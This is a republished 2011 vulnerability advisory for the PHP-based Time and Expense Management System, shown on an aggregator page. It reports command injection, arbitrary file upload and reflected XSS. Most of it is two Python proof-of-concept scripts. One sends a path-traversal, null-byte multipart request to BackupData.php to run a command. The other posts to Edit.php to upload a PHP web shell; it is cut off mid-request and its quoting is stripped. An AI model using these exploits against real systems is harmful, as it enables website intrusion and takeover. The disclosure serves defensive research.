Time and Expense Management System multiple security vulnerabilities and repair

Source: Internet
Author: User

Time and Expense Management System is an ERP System developed using PHP. The Time and Expense Management System has the command injection, file upload, and reflected cross-site scripting vulnerabilities, attackers may intrude the website that has set up the Time and Expense Management System.

[+] Info:
~~~~~~~~~
# Software ...... Time and Expense Management System
# Download... http://sourceforge.net/projects/tems/
# Discovery Date ...... 4/27/2011
# Tested On...
#------------------------------------------------------------------------
# Author ...... AutoSec Tools
# Site ...... http://www.autosectools.com/
# Email ...................... John Leitch john@autosectools.com

[+] Poc:
~~~~~~~~~
Command injection
 

import socket

host = localhost
path = /tems
port = 80

def run_command():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)

    body = ------x
           Content-Disposition: form-data; name="toFile"
          
           ./a
           ------x
           Content-Disposition: form-data; name="DB_Admin_id"
          
           a
           ------x
           Content-Disposition: form-data; name="DB_Admin_Password"
          
           ../../../../../../../calcx00a
           ------x--
          


    s.send(POST %s/systemadmin/BackupData.php HTTP/1.1
           Host: localhost
           Proxy-Connection: keep-alive
           User-Agent: x
           Content-Length: %d
           Cache-Control: max-age=0
           Origin: null
           Content-Type: multipart/form-data; boundary=----x
           Accept: text/html
           Accept-Language: en-US,en;q=0.8
           Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
           %s % (path, len(body), body))

    print request sent, check for calc using the task manger

run_command()

Arbitrary Upload
 

import socket

host = localhost
path = /tems
shell_path = path + /images/logoshell.php
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)   

    s.send(POST + path + /systemadmin/Edit.php HTTP/1.1
           Host: localhost
           Proxy-Connection: keep-alive
           User-Agent: x
           Content-Length: 938
           Cache-Control: max-age=0
           Origin: null
           Content-Type: multipart/form-data; boundary=----x
           Accept: text/html
           Accept-Encoding: gzip,deflate,sdch
           Accept-Language: en-US,en;q=0.8
           Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
          
           ------x
           Content-Disposition: form-data; name="uid"
          
           shell.php
           ------x
           Content-Disposition: form-data; name="name"
          
           shell.php
           ------x
           Content-Disposition: form-data; name="address1"
          
           shell.php
           ------x
           Content-Disposition: form-data; name="city"
          
           shell.php
           ------x
           Content-Disposition: form-data; name="state"
          
           shell.php
           ------x
           Content-Disposition: form-data; name="postalcode"
          
           shell.php
           ------x
           Content-Disposition: form-data; name="country"
          
           shell.php
           ------x
           Content-Disposition: form-data; name="weekendday"
          
           shell.php
           ------x
     &n

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.